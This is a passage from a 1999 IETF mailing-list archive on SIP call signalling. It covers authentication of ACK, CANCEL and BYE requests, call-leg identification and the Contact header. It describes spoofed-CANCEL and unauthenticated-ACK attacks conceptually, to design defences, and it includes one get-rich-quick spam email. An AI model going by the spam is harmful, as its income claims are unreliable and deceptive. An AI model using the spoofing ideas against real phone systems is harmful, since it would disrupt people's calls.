causes response retransmissions to cease.

> 
> The only "attack" on this type of security is if someone tries
> to send an ACK in your stead. (Perhaps to screw up codec negotiation?)
> Anyway, to do this, they'd have to be sniffing packets. Without
> putting some sort of challenge in the final 3xx response , the
>  authentication string will be the same one that you sent in step (3),
> which the snooper would have been able to capture anyway.

Only true for basic and digest. PGP is much better, since the signature
is over the entire message. With PGP, the only thing thats possible, I
think, is a replay attack of a previously sent ACK. This would appear as
a duplicate ACK to the UAS. Entirely harmless.

However, if a UAS accepts non-authenticated ACK's, attacks are possible
which can cause misrouted media, since the ACK can contain SDP.
Therefore, a UAS which is doing authentication probably should only
accept authenticated ACKs. It has no choice but to ignore
unauthenticated ACKs, which I think is fine.

> >* the client sends an unauthenticated BYE or CANCEL at anytime
> >between (3) and (6) to the server ?
> 
> BYE isn't valid before the INVITE transaction is complete.

BYE doesn't make sense to a redirect server. But, it is allowed (and
makes sense) to send a BYE to a UAS before the transaction is complete.
CANCEL is more to terminate searches, BYE is to hangup. 

> 
> If they send an unauthenticated CANCEL, reply with a 401.
> In fact, accepting an "authenticated" CANCEL without a
> new challenge raises the same snooping issues as ACK does,
> so this should be the normal case.

I'm not sure you can provide a new challenge for CANCEL. Unlike INVITE,
each proxy generates its own local response to a CANCEL it receives, and
then forwards it. Thus, lets say UAC A calls through proxies P1 and P2,
towards UAS B. When A sends a CANCEL, P1 sends a 200 OK, then forwards
the CANCEL to P2, which sends a 200 OK to P1. P2 then forwards it to B.
If B responds with a 401, the response is not forwarded back towards the
caller, since P2 has already responded. So, since CANCEL is really part
of the same transaction, I think it should be based on the same
challenge as the INVITE. If it fails at a UAS, its just ignored. The
only reason it could fail is if its a malformed, malicious or errored
packet; this is because the UAS should use the same challenge for the
entire transaction (in other words, for http, a correctly behaving
client must expect a 401 for any request to the same server. This is
because the nonce it was assuming has expired at the server. However,
since a UAS maintains state (whereas a web server normally does not), it
keeps the nonce for the duration of the transaction).

There is an interesting problem, though. Since the authentication is
done only at the UAS, its possible for someone to spoof a CANCEL. Proxy
servers won't know that this is a spoofed CANCEL, and so they CANCEL the
call. If the CANCEL "beats" the original INVITE to the last proxy before
the UAS, and the last proxy doesn't forward the INVITE since it got the
CANCEL before it forwarded the INVITE, the the called party won't ever
hear the phone ring. This would allow an attacker to stop someone from
making calls. Of course, if the INVITE gets to the UAS before the
CANCEL, there is no problem, since the CANCEL will fail authentication
and be ignored.

The fix for this is to make sure proxies don't do this. A proxy which
receives an INVITE, and then a CANCEL, should still forward the INVITE,
and then send a CANCEL for it straightaway. This is probably what most
servers will do anyway (I know mine will). 

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri May 14 20:34:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA04152
	for confctrl-outgoing; Fri, 14 May 1999 20:34:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA04136
	for <confctrl@zephyr.isi.edu>; Fri, 14 May 1999 20:34:07 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA03885
	for <confctrl@isi.edu>; Fri, 14 May 1999 20:34:05 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Fri May 14 23:32:49 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.73])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id XAA20479;
	Fri, 14 May 1999 23:32:47 -0400 (EDT)
Message-ID: <373CEAF1.C15DF514@dnrc.bell-labs.com>
Date: Fri, 14 May 1999 23:33:05 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Anoop Tripathi <Anoop_Tripathi@mw.3com.com>
CC: confctrl@ISI.EDU
Subject: Re: how to distinguish call leg if both From and To are same
References: <86256771.004D0205.00@mwgate02.mw.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anoop Tripathi wrote:
> 
> Assume an SCN to IP interworking Client ( previously a H323 GW now runnning SIP
> ).
> 
> It registers with proxy server(2.2.2.2)  as
> 
> 847*@1.1.1.1

Well, first off, SIP registrations don't support wildcarding like this.
If you want to establish routing tables for phone calls (which is what
this is) use the Gateway Location Protocol (GLP), not SIP registrations. 

> 
> A call arrive on the PRI line for phone number (312)2222222 .
> 
> The SIP Client  sends the request to proxy as follows:
> 
> Request URI : 3122222222@2.2.2.2
> Call Id        : 1234
>           To :      2.2.2.2
>           From :    1.1.1.1
> 
John mentioned that:

> Anoop,
> 
>  The BYE request in your example will be as follows if it came from
> the calling party:
> 
> Callid         : 1234
>           To :      3122222222@2.2.2.2
>           From :    847*@1.1.1.1

The same basic idea is true for your INVITE. It should look like, from
the calling gateway to proxy:

INVITE sip:312222222@2.2.2.2 SIP/2.0
From: sip:<calling number here>@1.1.1.1
To: sip:31222222@2.2.2.2
.....

and from proxy to terminating gateway (same gateway):

INVITE sip:8473333333@1.1.1.1 SIP/2.0
From: sip:<calling number here>@1.1.1.1
To: sip:31222222@2.2.2.2
.....

Now, if the terminating gateway sends BYE, the To and From are reversed.
If the originating gateway sends BYE, they are the same, as John has
mentioned.

I should also note that since the calling gateway has a destination
number that is a plain phone number, it probably shouldn't append the
2.2.2.2 (which is the proxy address) to get a SIP URI, but rather place
a phone URI in the To field instead of the SIP URI, and then let the
proxy translate the phone URI (phone:3122222222) into a SIP URI
(sip:8473333333@1.1.1.1), which gets place in the Request URI of the
proxied request.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Sat May 15 09:04:41 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA02818
	for confctrl-outgoing; Sat, 15 May 1999 09:04:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA02803
	for <confctrl@zephyr.isi.edu>; Sat, 15 May 1999 09:04:40 -0700 (PDT)
Received: from thumper.research.telcordia.com (thumper.research.telcordia.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA22903
	for <confctrl@isi.edu>; Sat, 15 May 1999 09:04:38 -0700 (PDT)
Received: from seawind.research.telcordia.com (seawind [192.4.18.101])
	by thumper.research.telcordia.com (8.9.1a/8.9.1) with ESMTP id MAA26420;
	Sat, 15 May 1999 12:04:04 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.research.telcordia.com (8.8.8/8.8.8) id MAA16908;
	Sat, 15 May 1999 12:04:03 -0400 (EDT)
Date: Sat, 15 May 1999 12:04:03 -0400 (EDT)
From: Christian Huitema <huitema@research.telcordia.com>
Message-Id: <990515120402.ZM16906@seawind.research.telcordia.com>
In-Reply-To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
        "Re: Authntication INVITE / BYE | ACK" (May 14, 11:19pm)
References: <199905142137.QAA11297@b04a24.exu.ericsson.se> 
	<373CE7AA.DA576C89@dnrc.bell-labs.com>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        "Adam B. Roach" <Adam.Roach@Ericsson.com>
Subject: Re: Authntication INVITE / BYE | ACK
Cc: jens.lundstrom@ellemtel.se, confctrl@ISI.EDU
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan, Jens,
Accepting unauthenticated command that change the satus of the connection
is a bad idea.  Once you request authentication, you should get it for
all commands.  Otherwise, third parties that somehow can get or predict the
content of messages would be able to hijack or dlete calls. 
The real choice is between silent discard and error messages.  I think
that we should define the error message, but give the option to not
always send it, in prticular when the responder feels being flooded or
being used for a weird denial of service attack.

-- 
Christian Huitema
------------------------------
Please note my new address: huitema@research.telcordia.com
http://www.telcordia.com/

From confctrl-owner  Sun May 16 18:55:53 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA04676
	for confctrl-outgoing; Sun, 16 May 1999 18:55:53 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA04648
	for <confctrl@zephyr.isi.edu>; Sun, 16 May 1999 18:55:49 -0700 (PDT)
Received: from 209.89.99.193 (ts3-02.vic.istar.ca [209.89.99.193])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id SAA26462;
	Sun, 16 May 1999 18:55:35 -0700 (PDT)
Date: Sun, 16 May 1999 18:55:35 -0700 (PDT)
Message-Id: <199905170155.SAA26462@venera.isi.edu>
From: 31438.offshore99@yahoo.com
Subject:  TIRED OF THE 9 TO 5 YET? -19687
X-Reply-To:  offshore99@yahoo.com
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Ladies and Gentlemen,

     Please pardon the email intrusion. We are not on the Internet to 
burden you with unsolicited advertising, and if we offended you in 
any way we do sincerely apologize. To removed from our list please 
email us back with "Remove" in the subject heading.

    Do you have the desire to make $2000 to $5000 PLUS PER 
WEEK, beginning almost immediately? How does $10,000 TO 
$25,000 PLUS PER MONTH, and a realistic STRONG SIX 
FIGURES this year sound? And, how about generating all of this by 
just sharing information?

    If you can bring desire and an honest effort to the table, we can 
show you how to NEVER WORRY ABOUT MONEY AGAIN! 
Opportunity is truly knocking! To find out more, call Toll Free.



                                        1-800-636-6773 ext. 3886
God bless



From confctrl-owner  Sun May 16 23:19:18 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA02600
	for confctrl-outgoing; Sun, 16 May 1999 23:19:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA02583
	for <confctrl@zephyr.isi.edu>; Sun, 16 May 1999 23:19:16 -0700 (PDT)
Received: from hromeo.algonet.se (hromeo.algonet.se [194.213.74.10])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA25203
	for <confctrl@ISI.EDU>; Sun, 16 May 1999 23:19:15 -0700 (PDT)
Received: (qmail 5241 invoked from network); 17 May 1999 08:19:13 +0200
Received: from du17-251.ppp.algonet.se (HELO felix.intertex.se) (195.100.251.17)
  by hromeo.algonet.se with SMTP; 17 May 1999 08:19:13 +0200
Message-ID: <372D6DF4.6D765FD4@intertex.se>
Date: Mon, 03 May 1999 11:37:02 +0200
From: Lars Berggren <lars.berggren@intertex.se>
X-Mailer: Mozilla 3.01 (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Anders Kristensen <ak@hplb.hpl.hp.com>,
        "Hearty, John H." <John.H.Hearty@wcom.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP: mandatory Contact
References: <93496446F5EDD211A8C100805FEAD74901911E@nsrip00207.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Donovan, Steven R. wrote:
> 
> What are we trying to solve here, making SIP work through NATs or
> making the record-route/route mechanism work?

Hopefully both.

> It seems to me that the former is outside the bounds of the SIP
> specification and that the latter is absolutely necessary.
>
> The handling of re-INVITES from the called UA is a specific case that
> argues for making the contact mandatory in the initial INVITE
> message.  Proxy servers that remain in the signaling path will need to
> be able to differentiate between INVITEs and re-INVITES.  If the
> calling UA is not included in the Route header, then SPS1 from my
> original flows will have no way of knowing that a re-INVITE from B,
> the called user agent, is indeed a re-INVITE.  If SPS1 thinks that it
> is a new INVITE, then it is likely to query a location server to
> determine how to route the INVITE message.  There is a chance that the
> INVITE will get correctly routed, but there is a significant chance
> that it won't.
> 
> Making the Contact mandatory in the initial INVITE and as a result
> included in the called user agents route header will fix this problem,
> as SPS1 can use the presence of the route header as in indicator that
> this is no a new INVITE.

Yes, I understand the problem. But my point is that the Contact has not
have to be present when the INVITE has been proxied.

If Contact is only made mandatory in initial INVITEs leaving a UAC, I
think we are all satisfied. It will fix the
routing-of-subsequent-requests-problem and as a bonus a proxy still has
the option to remove the Contact. If a proxy removes or hides the
Contact, it is responsible for correct routing of subsequent requests
based on the information in the Contact header. It may do so in some
ways I described in an earlier mail in this thread.

Other proxies may operate as usual, forwarding the Contact header. I'm
just saying it should not be a MUST for a proxy to forward it.

/Lars

> 
> Steve
> 

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Mon May 17 07:19:39 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA00131
	for confctrl-outgoing; Mon, 17 May 1999 07:19:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA00114
	for <confctrl@zephyr.isi.edu>; Mon, 17 May 1999 07:19:37 -0700 (PDT)
Received: from ce-nfs-1.cisco.com (ce-nfs-1.cisco.com [171.68.201.251] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA08567
	for <confctrl@ISI.EDU>; Mon, 17 May 1999 07:19:36 -0700 (PDT)
Received: from glock (glock.cisco.com [171.68.37.125]) by ce-nfs-1.cisco.com (8.8.5/CA/950118) with SMTP id HAA16030; Mon, 17 May 1999 07:18:34 -0700 (PDT)
Message-ID: <007d01bea070$15d95ae0$7d2544ab@glock.cisco.com>
From: "Stephen Sprunk" <ssprunk@cisco.com>
To: "Christian Gosselin" <gosselin@info.uqam.ca>
Cc: <confctrl@ISI.EDU>
Subject: Re: 
Date: Mon, 17 May 1999 09:13:03 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.1
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sez Christian Gosselin <gosselin@info.uqam.ca>:
>>1) Is it mandatory for all UAC to REGISTER or be
>>registered to any SERVER (proxy,redirect) so that
>>it can be contacted.
>
>The UA is responsible for the registration and the request is sent by the
>UAC. If your last registration is not expired then it's not necessary to
>register again. If your not registered anywhere I don't see how you could
>receive invitation, as mention in the rfc2543 p.34 "the support for the
>REGISTER is RECOMMENDED".


The caller could know the exact location of the callee ahead of time in some
cases; if you were to advertise your number as user@users-pc.foo.com, any
calls would go directly to the callee's UAS without any need to register at
a proxy.  Of course, this would limit your mobility significantly, but it is
entirely logical.

Stephen


     |          |         Stephen Sprunk, K5SSS, CCIE #3723
    :|:        :|:        NSA, Network Consulting Engineer
   :|||:      :|||:       14875 Landmark Blvd #400; Dallas, TX
.:|||||||:..:|||||||:.    Pager: 800-365-4578 / 800-901-6078
C I S C O S Y S T E M S   Email: ssprunk@cisco.com



From confctrl-owner  Mon May 17 08:15:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA25019
	for confctrl-outgoing; Mon, 17 May 1999 08:15:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA25005
	for <confctrl@zephyr.isi.edu>; Mon, 17 May 1999 08:15:03 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA11338
	for <confctrl@isi.edu>; Mon, 17 May 1999 08:15:00 -0700 (PDT)
Received: from mr3.exu.ericsson.se ([138.85.11.55])
	by gwa.ericsson.com (8.8.8/8.8.8) with ESMTP id KAA20589;
	Mon, 17 May 1999 10:14:26 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id KAA10460;
	Mon, 17 May 1999 10:14:25 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA20403; Mon, 17 May 1999 10:14:21 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id KAA17671;
	Mon, 17 May 1999 10:14:17 -0500 (CDT)
Message-Id: <199905171514.KAA17671@b04a24.exu.ericsson.se>
Subject: Re: Authntication INVITE / BYE | ACK
To: huitema@research.telcordia.com (Christian Huitema)
Date: Mon, 17 May 1999 10:14:16 -0500 (CDT)
Cc: jdrosen@dnrc.bell-labs.com, Adam.Roach@ericsson.com,
        jens.lundstrom@ellemtel.se, confctrl@ISI.EDU
In-Reply-To: <990515120402.ZM16906@seawind.research.telcordia.com> from "Christian Huitema" at May 15, 99 12:04:03 pm
From: "Adam B. Roach" <Adam.Roach@ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>Accepting unauthenticated command that change the satus of the connection
>is a bad idea.  Once you request authentication, you should get it for
>all commands.  Otherwise, third parties that somehow can get or predict the
>content of messages would be able to hijack or dlete calls. 
>The real choice is between silent discard and error messages.  I think
>that we should define the error message, but give the option to not
>always send it, in prticular when the responder feels being flooded or
>being used for a weird denial of service attack.

In the case of unauthenticated ACKs, though, this doesn't make sense.
SIP says that a server /must/ not send responses to an ACK.

/a

From confctrl-owner  Mon May 17 16:57:47 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA19364
	for confctrl-outgoing; Mon, 17 May 1999 16:57:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA19353
	for <confctrl@zephyr.isi.edu>; Mon, 17 May 1999 16:57:46 -0700 (PDT)
Received: from omzrelay03.mcit.com (omzrelay03.mcit.com [199.249.19.245])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA09562
	for <confctrl@ISI.EDU>; Mon, 17 May 1999 16:57:44 -0700 (PDT)
Received: from ndcrelay2.mcit.com ([166.37.172.6])
 by firewall.mcit.com (PMDF V5.2-32 #37789)
 with ESMTP id <0FBW00H7KIJBV5@firewall.mcit.com> for confctrl@ISI.EDU; Mon,
 17 May 1999 23:57:11 +0000 (GMT)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
 by ndcrelay2.mcit.com (8.8.7/) with ESMTP	id XAA24883; Mon,
 17 May 1999 23:53:43 +0000 (GMT)
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2571.0)
	id <K033D6Y5>; Tue, 18 May 1999 00:57:09 +0100
Content-return: allowed
Date: Tue, 18 May 1999 00:57:08 +0100
From: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
Subject: RE: SIP: mandatory Contact
To: Lars Berggren <lars.berggren@intertex.se>
Cc: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Anders Kristensen <ak@hplb.hpl.hp.com>,
        "Hearty, John H." <John.H.Hearty@wcom.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Message-id: <93496446F5EDD211A8C100805FEAD749019134@nsrip00207.mcit.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2571.0)
Content-type: multipart/alternative;
	boundary="----_=_NextPart_001_01BEA0C0.F9079EC6"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BEA0C0.F9079EC6
Content-Type: text/plain;
	charset="ISO-8859-1"



-----Original Message-----
From: Lars Berggren [mailto:lars.berggren@intertex.se]
Sent: Monday, May 03, 1999 4:37 AM
To: Donovan, Steven R.
Cc: Jonathan Rosenberg; Anders Kristensen; Hearty, John H.;
'confctrl@ISI.EDU'
Subject: Re: SIP: mandatory Contact


Donovan, Steven R. wrote:
> 
> What are we trying to solve here, making SIP work through NATs or
> making the record-route/route mechanism work?

Hopefully both.

SRD> I agree that the NAT issue needs to be solved.  However, it seems that
it is a big enough of an issue that it deserves a separate draft and I
wouldn't want the more specific issue with record-route/route held up while
waiting for that draft.

> It seems to me that the former is outside the bounds of the SIP
> specification and that the latter is absolutely necessary.
>
> The handling of re-INVITES from the called UA is a specific case that
> argues for making the contact mandatory in the initial INVITE
> message.  Proxy servers that remain in the signaling path will need to
> be able to differentiate between INVITEs and re-INVITES.  If the
> calling UA is not included in the Route header, then SPS1 from my
> original flows will have no way of knowing that a re-INVITE from B,
> the called user agent, is indeed a re-INVITE.  If SPS1 thinks that it
> is a new INVITE, then it is likely to query a location server to
> determine how to route the INVITE message.  There is a chance that the
> INVITE will get correctly routed, but there is a significant chance
> that it won't.
> 
> Making the Contact mandatory in the initial INVITE and as a result
> included in the called user agents route header will fix this problem,
> as SPS1 can use the presence of the route header as in indicator that
> this is no a new INVITE.

Yes, I understand the problem. But my point is that the Contact has not
have to be present when the INVITE has been proxied.

SRD> I don't understand why a proxy should not be able to include a contact
header in a proxied INVITE message.  I also think that removing this
requirement for the proxy re-introduces the same problem that caused this
discussion in the first place.

SRD> If the proxy that you are talking about is a NAT then why should it not
be able to include a Contact header.   I understand that it may not be the
same as the original Contact header.  It should probably be contain the URI
of the NAT/proxy server itself.  The NAT will be saving state for the
session anyway, so it should have the ability to map the NAT contact header
with the original contact header.

If Contact is only made mandatory in initial INVITEs leaving a UAC, I
think we are all satisfied. It will fix the
routing-of-subsequent-requests-problem and as a bonus a proxy still has
the option to remove the Contact. If a proxy removes or hides the
Contact, it is responsible for correct routing of subsequent requests
based on the information in the Contact header. It may do so in some
ways I described in an earlier mail in this thread.

SRD> I may be missing something here, but I don't see how it fixes the
original "routing-of-subsequent-requests-problem" when the NAT-proxy is
sending the INVITE to another proxy.  The second proxy still has to find the
NAT-proxy.

Other proxies may operate as usual, forwarding the Contact header. I'm
just saying it should not be a MUST for a proxy to forward it.

SRD> Again, I may be missing something but I think that the Contact header
is a MUST for all UAC's whether they be in an end client or an intermediary
proxy.

/Lars

> 
> Steve
> 

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

------_=_NextPart_001_01BEA0C0.F9079EC6
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DISO-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2569.0">
<TITLE>RE: SIP: mandatory Contact</TITLE>
</HEAD>
<BODY>
<BR>
<BR>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Lars Berggren [<A =
HREF=3D"mailto:lars.berggren@intertex.se">mailto:lars.berggren@intertex.=
se</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Monday, May 03, 1999 4:37 AM</FONT>
<BR><FONT SIZE=3D2>To: Donovan, Steven R.</FONT>
<BR><FONT SIZE=3D2>Cc: Jonathan Rosenberg; Anders Kristensen; Hearty, =
John H.;</FONT>
<BR><FONT SIZE=3D2>'confctrl@ISI.EDU'</FONT>
<BR><FONT SIZE=3D2>Subject: Re: SIP: mandatory Contact</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Donovan, Steven R. wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; What are we trying to solve here, making SIP =
work through NATs or</FONT>
<BR><FONT SIZE=3D2>&gt; making the record-route/route mechanism =
work?</FONT>
</P>

<P><FONT SIZE=3D2>Hopefully both.</FONT>
</P>

<P><FONT SIZE=3D2>SRD&gt; I agree that the NAT issue needs to be =
solved.&nbsp; However, it seems that it is a big enough of an issue =
that it deserves a separate draft and I wouldn't want the more specific =
issue with record-route/route held up while waiting for that =
draft.</FONT></P>

<P><FONT SIZE=3D2>&gt; It seems to me that the former is outside the =
bounds of the SIP</FONT>
<BR><FONT SIZE=3D2>&gt; specification and that the latter is absolutely =
necessary.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; The handling of re-INVITES from the called UA =
is a specific case that</FONT>
<BR><FONT SIZE=3D2>&gt; argues for making the contact mandatory in the =
initial INVITE</FONT>
<BR><FONT SIZE=3D2>&gt; message.&nbsp; Proxy servers that remain in the =
signaling path will need to</FONT>
<BR><FONT SIZE=3D2>&gt; be able to differentiate between INVITEs and =
re-INVITES.&nbsp; If the</FONT>
<BR><FONT SIZE=3D2>&gt; calling UA is not included in the Route header, =
then SPS1 from my</FONT>
<BR><FONT SIZE=3D2>&gt; original flows will have no way of knowing that =
a re-INVITE from B,</FONT>
<BR><FONT SIZE=3D2>&gt; the called user agent, is indeed a =
re-INVITE.&nbsp; If SPS1 thinks that it</FONT>
<BR><FONT SIZE=3D2>&gt; is a new INVITE, then it is likely to query a =
location server to</FONT>
<BR><FONT SIZE=3D2>&gt; determine how to route the INVITE =
message.&nbsp; There is a chance that the</FONT>
<BR><FONT SIZE=3D2>&gt; INVITE will get correctly routed, but there is =
a significant chance</FONT>
<BR><FONT SIZE=3D2>&gt; that it won't.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Making the Contact mandatory in the initial =
INVITE and as a result</FONT>
<BR><FONT SIZE=3D2>&gt; included in the called user agents route header =
will fix this problem,</FONT>
<BR><FONT SIZE=3D2>&gt; as SPS1 can use the presence of the route =
header as in indicator that</FONT>
<BR><FONT SIZE=3D2>&gt; this is no a new INVITE.</FONT>
</P>

<P><FONT SIZE=3D2>Yes, I understand the problem. But my point is that =
the Contact has not</FONT>
<BR><FONT SIZE=3D2>have to be present when the INVITE has been =
proxied.</FONT>
</P>

<P><FONT SIZE=3D2>SRD&gt; I don't understand why a proxy should not be =
able to include a contact header in a proxied INVITE message.&nbsp; I =
also think that removing this requirement for the proxy re-introduces =
the same problem that caused this discussion in the first =
place.</FONT></P>

<P><FONT SIZE=3D2>SRD&gt; If the proxy that you are talking about is a =
NAT then why should it not be able to include a Contact =
header.&nbsp;&nbsp; I understand that it may not be the same as the =
original Contact header.&nbsp; It should probably be contain the URI of =
the NAT/proxy server itself.&nbsp; The NAT will be saving state for the =
session anyway, so it should have the ability to map the NAT contact =
header with the original contact header.</FONT></P>

<P><FONT SIZE=3D2>If Contact is only made mandatory in initial INVITEs =
leaving a UAC, I</FONT>
<BR><FONT SIZE=3D2>think we are all satisfied. It will fix the</FONT>
<BR><FONT SIZE=3D2>routing-of-subsequent-requests-problem and as a =
bonus a proxy still has</FONT>
<BR><FONT SIZE=3D2>the option to remove the Contact. If a proxy removes =
or hides the</FONT>
<BR><FONT SIZE=3D2>Contact, it is responsible for correct routing of =
subsequent requests</FONT>
<BR><FONT SIZE=3D2>based on the information in the Contact header. It =
may do so in some</FONT>
<BR><FONT SIZE=3D2>ways I described in an earlier mail in this =
thread.</FONT>
</P>

<P><FONT SIZE=3D2>SRD&gt; I may be missing something here, but I don't =
see how it fixes the original =
&quot;routing-of-subsequent-requests-problem&quot; when the NAT-proxy =
is sending the INVITE to another proxy.&nbsp; The second proxy still =
has to find the NAT-proxy.</FONT></P>

<P><FONT SIZE=3D2>Other proxies may operate as usual, forwarding the =
Contact header. I'm</FONT>
<BR><FONT SIZE=3D2>just saying it should not be a MUST for a proxy to =
forward it.</FONT>
</P>

<P><FONT SIZE=3D2>SRD&gt; Again, I may be missing something but I think =
that the Contact header is a MUST for all UAC's whether they be in an =
end client or an intermediary proxy.</FONT></P>

<P><FONT SIZE=3D2>/Lars</FONT>
</P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Steve</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Lars Berggren&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&lt;lars.berggren@intertex.se&gt;</FONT>
